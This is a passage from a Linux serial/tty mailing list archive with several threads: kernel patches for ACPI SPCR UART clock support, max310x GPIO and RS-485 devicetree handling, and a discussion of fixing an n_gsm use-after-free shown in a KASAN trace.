>>
>> ```
>> [ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
>> [ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
>> [ 997.230517][ T46]
>> [ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
>> [ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
>> [ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
>> [ 997.230969][ T46] Call Trace:
>> [ 997.230972][ T46] <TASK>
>> [ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
>> [ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
>> [ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
>> [ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
>> [ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
>> [ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
>> [ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
>> [ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
>> [ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
>> [ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
>> [ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
>> [ 997.231091][ T46] kthread (kernel/kthread.c:436)
>> [ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
>> [ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
>> [ 997.231128][ T46] </TASK>
>> [ 997.231130][ T46]
>> [ 997.267905][ T46] Allocated by task 5110:
>> [ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
>> [ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
>> [ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
>> [ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
>> [ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
>> [ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
>> [ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
>> [ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
>> [ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>> [ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
>> [ 997.277658][ T46]
>> [ 997.278108][ T46] Freed by task 5110:
>> [ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
>> [ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
>> [ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
>> [ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
>> [ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
>> [ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
>> [ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
>> [ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
>> [ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
>> [ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>> [ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
>> [ 997.288639][ T46]
>>
>> ```
>>
>> The NULL deref I reported is the same unguarded access on the same
>> path, just hitting the window after the slot is already cleared. Either
>> way a NULL check in the handlers can't fix it, since in the UAF case dlci
>> isn't NULL.
>>
>> I think the fix should serialize the receive side against
>> gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
>>
>> 1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
>> 2. pin the dlci across the dispatch using its existing tty_port ref
>> (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
>>
>> Do you have a preference, or is there a pattern in n_gsm you'd rather I
>> use? I'll respin v2 once I know which way to go.
>
> The bigger issue here is that almost no one has this hardware. And
> those that do, don't care about these types of issues as they do not
> have untrusted data or untrusted users, so be careful when changing
> things that you aren't able to test.
>
> I think that option 2 would probably be best, as that should not affect
> any fast code paths, right?
>
>> And I'll send the reproducer and the config to trigger it in a separate mail.
>
> Can you turn that into a real test to be added to the tree in the
> correct location? I think we need to start adding these so that we get
> a base regression test for people to be able to run as all the LLM tools
> seem to love the broken code in this file :)
>
> thanks,
>
> greg k-h
Hi greg,
I'll try to write a base regression test and sent it together with the v2.
Best,
Weiming Shi
^ permalink raw reply
* [PATCH v3 0/2] ACPI: SPCR: Support UART clock frequency field
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
Support the uart clock frequency in the SPCR table.
See the commit messages for details.
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
Changes in v3:
- add separate function for earlycon with uartclk
- Link to v2: https://patch.msgid.link/20260525-acpi_spcr-v2-0-c042089d73ca@posteo.de
Changes in v2:
- fix uart_clk_freq possibly being interpreted as parity/bits/flow
- Link to v1: https://patch.msgid.link/20260505-acpi_spcr-v1-1-fd4bc6f4eb53@posteo.de
---
Markus Probst (2):
serial: earlycon: add uart_clk_freq parameter
ACPI: SPCR: Support UART clock frequency field
drivers/acpi/spcr.c | 3 ++-
drivers/tty/serial/earlycon.c | 17 ++++++++++++-----
include/linux/serial_core.h | 11 +++++++++--
3 files changed, 23 insertions(+), 8 deletions(-)
---
base-commit: b3f94b2b3f3e51ab880a51fc6510e1dafba654ed
change-id: 20260430-acpi_spcr-61902fd923f2
^ permalink raw reply
* [PATCH v3 1/2] serial: earlycon: add uart_clk_freq parameter
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
In-Reply-To: <20260615-acpi_spcr-v3-0-9a59ebad74ea@posteo.de>
Add function `setup_earlycon_with_uartclk`. This allows the
options string to be reused with `add_preferred_console`, while still
allowing to set the uart clock frequency. This will be used in the
following commit ("ACPI: SPCR: Support UART clock frequency field").
No logical change intended.
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
drivers/tty/serial/earlycon.c | 17 ++++++++++++-----
include/linux/serial_core.h | 11 +++++++++--
2 files changed, 21 insertions(+), 7 deletions(-)
diff --git a/drivers/tty/serial/earlycon.c b/drivers/tty/serial/earlycon.c
index ab9af37f6cda..5a20fe9e3fb6 100644
--- a/drivers/tty/serial/earlycon.c
+++ b/drivers/tty/serial/earlycon.c
@@ -135,11 +135,14 @@ static int __init parse_options(struct earlycon_device *device, char *options)
return 0;
}
-static int __init register_earlycon(char *buf, const struct earlycon_id *match)
+static int __init register_earlycon(char *buf, unsigned int uart_clk_freq,
+ const struct earlycon_id *match)
{
int err;
struct uart_port *port = &early_console_dev.port;
+ port->uartclk = uart_clk_freq;
+
/* On parsing error, pass the options buf to the setup function */
if (buf && !parse_options(&early_console_dev, buf))
buf = NULL;
@@ -163,8 +166,9 @@ static int __init register_earlycon(char *buf, const struct earlycon_id *match)
}
/**
- * setup_earlycon - match and register earlycon console
- * @buf: earlycon param string
+ * setup_earlycon_with_uartclk - match and register earlycon console
+ * @buf: earlycon param string
+ * @uart_clk_freq: uart clock frequency in Hz or 0 for BASE_BAUD*16
*
* Registers the earlycon console matching the earlycon specified
* in the param string @buf. Acceptable param strings are of the form
@@ -177,10 +181,13 @@ static int __init register_earlycon(char *buf, const struct earlycon_id *match)
* <options> string in the 'options' parameter; all other forms set
* the parameter to NULL.
*
+ * If the uart clock frequency is specified in the 'options' parameter,
+ * the value of the param @uart_clk_freq will be ignored.
+ *
* Returns 0 if an attempt to register the earlycon was made,
* otherwise negative error code
*/
-int __init setup_earlycon(char *buf)
+int __init setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq)
{
const struct earlycon_id *match;
bool empty_compatible = true;
@@ -209,7 +216,7 @@ int __init setup_earlycon(char *buf)
} else
buf = NULL;
- return register_earlycon(buf, match);
+ return register_earlycon(buf, uart_clk_freq, match);
}
if (empty_compatible) {
diff --git a/include/linux/serial_core.h b/include/linux/serial_core.h
index 110ad4e2aef9..19d8181c9005 100644
--- a/include/linux/serial_core.h
+++ b/include/linux/serial_core.h
@@ -1097,11 +1097,18 @@ int of_setup_earlycon(const struct earlycon_id *match, unsigned long node,
#ifdef CONFIG_SERIAL_EARLYCON
extern bool earlycon_acpi_spcr_enable __initdata;
-int setup_earlycon(char *buf);
+int setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq);
#else
static const bool earlycon_acpi_spcr_enable EARLYCON_USED_OR_UNUSED;
-static inline int setup_earlycon(char *buf) { return 0; }
+static inline int setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq)
+{
+ return 0;
+}
#endif
+static inline int setup_earlycon(char *buf)
+{
+ return setup_earlycon_with_uartclk(buf, 0);
+}
/* Variant of uart_console_registered() when the console_list_lock is held. */
static inline bool uart_console_registered_locked(struct uart_port *port)
--
2.53.0
^ permalink raw reply related
* [PATCH v3 2/2] ACPI: SPCR: Support UART clock frequency field
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
In-Reply-To: <20260615-acpi_spcr-v3-0-9a59ebad74ea@posteo.de>
The Microsoft Serial Port Console Redirection (SPCR) specification
revision 1.08 comprises additional field: UART Clock Frequency [1].
It contains a non-zero value indicating the UART clock frequency in Hz.
Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/serports/serial-port-console-redirection-table [1]
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
drivers/acpi/spcr.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/acpi/spcr.c b/drivers/acpi/spcr.c
index 73cb933fdc89..c79c809f49d4 100644
--- a/drivers/acpi/spcr.c
+++ b/drivers/acpi/spcr.c
@@ -228,7 +228,8 @@ int __init acpi_parse_spcr(bool enable_earlycon, bool enable_console)
pr_info("console: %s\n", opts);
if (enable_earlycon)
- setup_earlycon(opts);
+ setup_earlycon_with_uartclk(opts,
+ table->header.revision >= 3 ? table->uart_clk_freq : 0);
if (enable_console)
err = add_preferred_console(uart, 0, opts + strlen(uart) + 1);
--
2.53.0
^ permalink raw reply related
* RE: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Starke, Daniel @ 2026-06-15 5:49 UTC (permalink / raw)
To: Weiming Shi
Cc: Jiri Slaby, linux-kernel@vger.kernel.org,
linux-serial@vger.kernel.org, Xiang Mei, Greg Kroah-Hartman
In-Reply-To: <2026061228-scrubber-cosmetics-c77a@gregkh>
> > I think the fix should serialize the receive side against
> > gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
> >
> > 1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
> > 2. pin the dlci across the dispatch using its existing tty_port ref
> > (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
> >
> > Do you have a preference, or is there a pattern in n_gsm you'd rather
> > I use? I'll respin v2 once I know which way to go.
>
> The bigger issue here is that almost no one has this hardware. And those that do, don't care about these types of issues as they do not have untrusted data or untrusted users, so be careful when changing things that you aren't able to test.
>
> I think that option 2 would probably be best, as that should not affect any fast code paths, right?
A side note from my side: Using mutex instead of spinlock within the data
transmission path has been tested in the past with a huge performance
regression as a result. This made the protocol unreliable in production due
to its tight timing requirements. Hence, I also vote for option 2. I just
wonder how you plan to implement this. The racing GSMIOC_SETCONF ioctl,
which triggers the gsm_cleanup_mux(), does so in order to re-create the
virtual ttys. It can only do so by a full teardown. If you prevent the
teardown there, the new devices will fail to register in the next step or
the interface will be left with an unpredictable configuration.
See related mail from the past:
https://lore.kernel.org/linux-serial/Zh+iROsYkqoRsJQj@libra05/
Best regards,
Daniel Starke
^ permalink raw reply
* [PATCH v2] serial: max310x: implement gpio_chip::get_direction()
From: Tapio Reijonen @ 2026-06-15 6:38 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Linus Walleij,
Bartosz Golaszewski, Alexander Shiyan
Cc: linux-kernel, linux-serial, linux-gpio, Tapio Reijonen
It's strongly recommended for GPIO drivers to always implement the
.get_direction() callback - even when the direction is tracked in
software. The GPIO core emits a warning when the callback is missing
and a user reads the direction of a line, e.g. via
/sys/kernel/debug/gpio.
The MAX310X keeps the GPIO direction in the GPIOCFG register (a set bit
selects output), which the existing direction_input/output callbacks
already program, so the current direction can be read back directly.
Fixes: f65444187a66 ("serial: New serial driver MAX310X")
Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
---
Found and HW-tested on an i.MX6 SoloX board with a MAX14830 over SPI:
without this, "cat /sys/kernel/debug/gpio" triggers the gpiolib.c:429
WARNING (tainting the kernel W) on each queried MAX14830 line; with it
applied the lines report their in/out direction and the WARNING is gone.
---
Changes in v2:
- Address Hugo Villeneuve's review: use BIT(offset % 4) and put the
return statement on a single line.
- Rebase onto v7.1-rc7.
- Link to v1: https://lore.kernel.org/r/20260602-b4-serial-max310x-gpio-get-direction-v1-1-23bf84e8ee14@vaisala.com
---
drivers/tty/serial/max310x.c | 12 ++++++++++++
1 file changed, 12 insertions(+)
diff --git a/drivers/tty/serial/max310x.c b/drivers/tty/serial/max310x.c
index ac7d3f197c3a5ce3531d5607f48e21a807314021..09b9ab57d2b4479da90fba178b093008f4b57bb9 100644
--- a/drivers/tty/serial/max310x.c
+++ b/drivers/tty/serial/max310x.c
@@ -1212,6 +1212,17 @@ static int max310x_gpio_set(struct gpio_chip *chip, unsigned int offset,
return 0;
}
+static int max310x_gpio_get_direction(struct gpio_chip *chip, unsigned int offset)
+{
+ struct max310x_port *s = gpiochip_get_data(chip);
+ struct uart_port *port = &s->p[offset / 4].port;
+ unsigned int val;
+
+ val = max310x_port_read(port, MAX310X_GPIOCFG_REG);
+
+ return val & BIT(offset % 4) ? GPIO_LINE_DIRECTION_OUT : GPIO_LINE_DIRECTION_IN;
+}
+
static int max310x_gpio_direction_input(struct gpio_chip *chip, unsigned int offset)
{
struct max310x_port *s = gpiochip_get_data(chip);
@@ -1421,6 +1432,7 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
s->gpio.owner = THIS_MODULE;
s->gpio.parent = dev;
s->gpio.label = devtype->name;
+ s->gpio.get_direction = max310x_gpio_get_direction;
s->gpio.direction_input = max310x_gpio_direction_input;
s->gpio.get = max310x_gpio_get;
s->gpio.direction_output= max310x_gpio_direction_output;
---
base-commit: 4549871118cf616eecdd2d939f78e3b9e1dddc48
change-id: 20260602-b4-serial-max310x-gpio-get-direction-b10ee5be4f24
Best regards,
--
Tapio Reijonen <tapio.reijonen@vaisala.com>
^ permalink raw reply related
* Re: [PATCH v2] serial: max310x: implement gpio_chip::get_direction()
From: Bartosz Golaszewski @ 2026-06-15 8:45 UTC (permalink / raw)
To: Tapio Reijonen
Cc: linux-kernel, linux-serial, linux-gpio, Greg Kroah-Hartman,
Jiri Slaby, Linus Walleij, Bartosz Golaszewski, Alexander Shiyan
In-Reply-To: <20260615-b4-serial-max310x-gpio-get-direction-v2-1-4704ba2b181a@vaisala.com>
On Mon, 15 Jun 2026 08:38:40 +0200, Tapio Reijonen
<tapio.reijonen@vaisala.com> said:
> It's strongly recommended for GPIO drivers to always implement the
> .get_direction() callback - even when the direction is tracked in
> software. The GPIO core emits a warning when the callback is missing
> and a user reads the direction of a line, e.g. via
> /sys/kernel/debug/gpio.
>
> The MAX310X keeps the GPIO direction in the GPIOCFG register (a set bit
> selects output), which the existing direction_input/output callbacks
> already program, so the current direction can be read back directly.
>
> Fixes: f65444187a66 ("serial: New serial driver MAX310X")
> Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
> ---
> Found and HW-tested on an i.MX6 SoloX board with a MAX14830 over SPI:
> without this, "cat /sys/kernel/debug/gpio" triggers the gpiolib.c:429
> WARNING (tainting the kernel W) on each queried MAX14830 line; with it
> applied the lines report their in/out direction and the WARNING is gone.
> ---
> Changes in v2:
> - Address Hugo Villeneuve's review: use BIT(offset % 4) and put the
> return statement on a single line.
> - Rebase onto v7.1-rc7.
> - Link to v1: https://lore.kernel.org/r/20260602-b4-serial-max310x-gpio-get-direction-v1-1-23bf84e8ee14@vaisala.com
> ---
I've already left my tag under this.
Reviewed-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
^ permalink raw reply
* Re: [PATCH v4 1/2] serial: qcom-geni: trace: Add tracepoint support for Qualcomm GENI serial
From: Praveen Talari @ 2026-06-15 9:56 UTC (permalink / raw)
To: Steven Rostedt
Cc: Masami Hiramatsu, Mathieu Desnoyers, Greg Kroah-Hartman,
Jiri Slaby, konrad.dybcio, linux-kernel, linux-trace-kernel,
linux-arm-msm, linux-serial, mukesh.savaliya, aniket.randive,
chandana.chiluveru
In-Reply-To: <20260529101422.18dda2ae@fedora>
HI Steven,
On 29-05-2026 19:44, Steven Rostedt wrote:
> On Tue, 26 May 2026 23:07:39 +0530
> Praveen Talari <praveen.talari@oss.qualcomm.com> wrote:
>
>> +DECLARE_EVENT_CLASS(geni_serial_data,
>> + TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
>> + TP_ARGS(dev, buf, len),
>> +
>> + TP_STRUCT__entry(__string(name, dev_name(dev))
>> + __field(unsigned int, len)
>> + __dynamic_array(u8, data, len)
>> + ),
>> +
>> + TP_fast_assign(__assign_str(name);
>> + __entry->len = len;
>> + memcpy(__get_dynamic_array(data), buf, len);
>> + ),
>> +
>> + TP_printk("%s: len=%u data=%s",
>> + __get_str(name), __entry->len,
>> + __print_hex(__get_dynamic_array(data), __entry->len))
>> +);
> No need to save the length of the dynamic array in __entry->len because
> it's already saved in the metadata of the dynamic array that is stored
> on the buffer. Instead you can have:
>
> DECLARE_EVENT_CLASS(geni_serial_data,
> TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
> TP_ARGS(dev, buf, len),
>
> TP_STRUCT__entry(__string(name, dev_name(dev))
> __dynamic_array(u8, data, len)
> ),
>
> TP_fast_assign(__assign_str(name);
> memcpy(__get_dynamic_array(data), buf, len);
> ),
>
> TP_printk("%s: len=%u data=%s",
> __get_str(name), __entry->len,
> __print_hex(__get_dynamic_array(data),
> __get_dynamic_array_len(data)))
> );
>
> That will save you 4 bytes per event on the ring buffer. And a few
> cycles not having to store the redundant information.
This patch has already been accepted and is available in linux-next.
Thanks,
Praveen Talari
>
> -- Steve
^ permalink raw reply
* [PATCH v3 2/3] dt-bindings: serial: maxim,max310x: describe per-channel rs485 subnodes
From: Tapio Reijonen @ 2026-06-15 10:27 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Hugo Villeneuve
Cc: linux-kernel, linux-serial, devicetree, Tapio Reijonen
In-Reply-To: <20260615-b4-max310x-rs485-dt-v3-0-7e79f064bdd7@vaisala.com>
The MAX310x is a family of one- (max3107, max3108), two- (max3109) and
four-channel (max14830) UARTs. The binding pulls in
/schemas/serial/rs485.yaml at the chip level, describing a single set of
RS-485 properties - enough for the single-channel parts, but a
multi-channel chip can wire RS-485 differently on each channel.
Split the binding per compatible:
- single-channel parts (max3107, max3108): the chip node is itself the
serial port and carries the RS-485 properties, as before;
- multi-channel parts (max3109, max14830): the chip node is only a
container and is no longer a serial node; each channel is a "serial@N"
subnode that carries the standard serial.yaml/rs485.yaml properties
(and may host a serial slave device). max3109 has channels 0-1,
max14830 has 0-3.
This avoids a chip node that is simultaneously a serial node and the
parent of serial nodes. The driver still reads chip-level RS-485 for
single-channel and legacy device trees, so existing users are unaffected.
Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
---
.../devicetree/bindings/serial/maxim,max310x.yaml | 92 +++++++++++++++++++++-
1 file changed, 90 insertions(+), 2 deletions(-)
diff --git a/Documentation/devicetree/bindings/serial/maxim,max310x.yaml b/Documentation/devicetree/bindings/serial/maxim,max310x.yaml
index 889eeaca64a027b4d9e8ec87bcf63fcc8fd9d55b..e598dda4d13f514820ed8012f2fb2fc2aba3e669 100644
--- a/Documentation/devicetree/bindings/serial/maxim,max310x.yaml
+++ b/Documentation/devicetree/bindings/serial/maxim,max310x.yaml
@@ -9,6 +9,13 @@ title: Maxim MAX310X Advanced Universal Asynchronous Receiver-Transmitter (UART)
maintainers:
- Hugo Villeneuve <hvilleneuve@dimonoff.com>
+description:
+ The MAX310X is a family of SPI/I2C UARTs with one (max3107, max3108),
+ two (max3109) or four (max14830) channels. Single-channel parts are
+ described as a serial node with RS-485 properties on the chip node;
+ multi-channel parts use one "serial@N" child node per channel, each
+ carrying its own serial/RS-485 properties.
+
properties:
compatible:
enum:
@@ -49,8 +56,55 @@ required:
allOf:
- $ref: /schemas/spi/spi-peripheral-props.yaml#
- - $ref: /schemas/serial/serial.yaml#
- - $ref: /schemas/serial/rs485.yaml#
+
+ - if:
+ properties:
+ compatible:
+ contains:
+ enum:
+ - maxim,max3107
+ - maxim,max3108
+ then:
+ allOf:
+ - $ref: /schemas/serial/serial.yaml#
+ - $ref: /schemas/serial/rs485.yaml#
+
+ - if:
+ properties:
+ compatible:
+ contains:
+ enum:
+ - maxim,max3109
+ - maxim,max14830
+ then:
+ properties:
+ "#address-cells":
+ const: 1
+ "#size-cells":
+ const: 0
+ patternProperties:
+ "^serial@[0-3]$":
+ type: object
+ description: A single UART channel of the chip.
+ allOf:
+ - $ref: /schemas/serial/serial.yaml#
+ - $ref: /schemas/serial/rs485.yaml#
+ properties:
+ reg:
+ description: UART channel number on the chip.
+ maximum: 3
+ required:
+ - reg
+ unevaluatedProperties: false
+
+ - if:
+ properties:
+ compatible:
+ contains:
+ const: maxim,max3109
+ then:
+ patternProperties:
+ "^serial@[23]$": false
unevaluatedProperties: false
@@ -70,5 +124,39 @@ examples:
interrupts = <7 IRQ_TYPE_LEVEL_LOW>;
gpio-controller;
#gpio-cells = <2>;
+ rs485-rts-active-low;
+ linux,rs485-enabled-at-boot-time;
+ };
+ };
+
+ - |
+ #include <dt-bindings/interrupt-controller/irq.h>
+ spi {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ serial@0 {
+ compatible = "maxim,max14830";
+ reg = <0>;
+ spi-max-frequency = <26000000>;
+ clocks = <&xtal4m>;
+ clock-names = "xtal";
+ interrupt-parent = <&gpio3>;
+ interrupts = <7 IRQ_TYPE_LEVEL_LOW>;
+ gpio-controller;
+ #gpio-cells = <2>;
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ serial@0 {
+ reg = <0>;
+ rs485-rts-active-low;
+ linux,rs485-enabled-at-boot-time;
+ };
+
+ serial@2 {
+ reg = <2>;
+ rs485-rts-active-low;
+ };
};
};
--
2.47.3
^ permalink raw reply related
* [PATCH v3 0/3] serial: max310x: honour per-channel DT RS485 properties
From: Tapio Reijonen @ 2026-06-15 10:27 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Hugo Villeneuve
Cc: linux-kernel, linux-serial, devicetree, Tapio Reijonen
The MAX310x DT binding pulls in /schemas/serial/rs485.yaml via its allOf
list, but the driver has never actually called uart_get_rs485_mode(), so
none of the advertised rs485-* properties take effect at runtime.
This series wires per-channel RS485 DT configuration end to end:
Patch 1 reorders the probe so the gpio_chip is registered before
uart_add_one_port(). A port can then reference one of the chip's own
GPIOs (e.g. rs485-term-gpios = <&max310x ...>) without -EPROBE_DEFER
from its own provider - prerequisite for patch 3.
Patch 2 splits the binding per compatible. Single-channel parts
(max3107, max3108) keep RS485 on the chip node, which is itself the
serial port. Multi-channel parts (max3109, max14830) describe each
channel as a "serial@N" subnode carrying the standard rs485.yaml
properties; the chip node is then only a container and is no longer
itself a serial node, which avoids a serial node that is also the parent
of serial nodes. Being serial nodes, the channels may also host serial
slave devices. (max3109 has channels 0-1, max14830 has 0-3.)
Patch 3 reads each channel's RS485 properties from its own subnode by
temporarily retargeting dev->fwnode while uart_get_rs485_mode() runs.
For single-channel variants, falls back to the chip's own fwnode when no
subnode is present, so existing top-level rs485 DTs keep working.
Note for maintainers: patch 3 mutates the parent SPI/I2C device's
fwnode around the uart_get_rs485_mode() call so the underlying
property/GPIO lookups resolve against the per-channel DT subnode. Probe
is serialised, so the swap is locally safe, but I'd appreciate feedback
on whether this idiom is acceptable. If a cleaner shape is preferred (a
serial_core helper that takes a fwnode directly, or one struct device
per port), I'll respin accordingly.
Tested on max14830 (SPI, 4 ports): each ttyMAXn port comes up with the
rs485 flags and delays configured in its serial@N subnode, and the
termination GPIO sourced from the MAX310x's own gpio_chip is resolved
without probe deferral.
Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
---
Changes in v3:
- dt-bindings: split per compatible so the chip node is a serial node only
for the single-channel max3107/max3108; the multi-channel max3109/max14830
are containers with serial@N child nodes and the chip node is no longer
itself a serial node. This avoids a node that is simultaneously a serial
node and the parent of serial nodes. (Krzysztof)
- dt-bindings: move the device/DT-model explanation into a top-level
description.
- Rebase onto v7.1-rc7.
- Patches 1 and 3 (driver) are unchanged; patch 3 still uses the temporary
fwnode retarget (idiom flagged above).
- Link to v2: https://lore.kernel.org/r/20260601-b4-max310x-rs485-dt-v2-0-a105105f8e70@vaisala.com
Changes in v2:
- dt-bindings: rename the per-port subnode "port@N" -> "serial@N" so each
channel is a proper serial node (serial.yaml) that can also host a
serial slave device; "port" is reserved for the graph binding. (Krzysztof)
- dt-bindings: constrain channels per compatible - max3107/max3108 take no
subnodes (nor #address-cells/#size-cells), max3109 allows 0-1, max14830
allows 0-3; out-of-range channels now fail dt_binding_check. (Krzysztof)
- serial: max310x: match the "serial" child node name accordingly.
- No change to patch 1; patch 3 still reads rs485 via the temporary fwnode
retarget (idiom flagged above).
- Link to v1: https://lore.kernel.org/r/20260525-b4-max310x-rs485-dt-v1-0-e6c19b4d5592@vaisala.com
---
Tapio Reijonen (3):
serial: max310x: register GPIO controller before adding UART ports
dt-bindings: serial: maxim,max310x: describe per-channel rs485 subnodes
serial: max310x: honour rs485 properties from per-channel DT subnode
.../devicetree/bindings/serial/maxim,max310x.yaml | 92 +++++++++++++++++++++-
drivers/tty/serial/max310x.c | 91 ++++++++++++++++-----
2 files changed, 160 insertions(+), 23 deletions(-)
---
base-commit: 4549871118cf616eecdd2d939f78e3b9e1dddc48
change-id: 20260525-b4-max310x-rs485-dt-ebff12af9976
Best regards,
--
Tapio Reijonen <tapio.reijonen@vaisala.com>
^ permalink raw reply
* [PATCH v3 1/3] serial: max310x: register GPIO controller before adding UART ports
From: Tapio Reijonen @ 2026-06-15 10:27 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Hugo Villeneuve
Cc: linux-kernel, linux-serial, devicetree, Tapio Reijonen
In-Reply-To: <20260615-b4-max310x-rs485-dt-v3-0-7e79f064bdd7@vaisala.com>
The MAX310x exposes four GPIOs per UART port via an in-driver
gpio_chip. devm_gpiochip_add_data() used to run after the per-port
uart_add_one_port() loop, so a device-tree consumer referencing one of
the chip's own GPIOs (for example rs485-term-gpios = <&max310x 0 ...>)
could not resolve it during port registration: the GPIO provider it
waits for is the very driver still trying to register, and the lookup
returns -EPROBE_DEFER on its own provider, deferring probe forever.
Split the per-port setup into two passes around the gpio_chip
registration:
1. Initialise per-port state - port struct fields, regmap binding,
IRQ disable, work queues. The gpio_chip callbacks dereference
s->p[i].regmap via to_max310x_port() and become callable as soon
as the chip is visible to gpiolib, so every entry must be
populated first.
2. devm_gpiochip_add_data() - register the gpio_chip.
3. Allocate a line, uart_add_one_port(), set_bit(), max310x_power().
Keeping line allocation, registration and set_bit() together
preserves the existing "bit set <=> port registered" rollback
invariant that out_uart relies on.
Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
---
drivers/tty/serial/max310x.c | 54 +++++++++++++++++++++++++++-----------------
1 file changed, 33 insertions(+), 21 deletions(-)
diff --git a/drivers/tty/serial/max310x.c b/drivers/tty/serial/max310x.c
index ac7d3f197c3a5ce3531d5607f48e21a807314021..5cb7d01e404663dc25b88bc7b4f8df61be2135ec 100644
--- a/drivers/tty/serial/max310x.c
+++ b/drivers/tty/serial/max310x.c
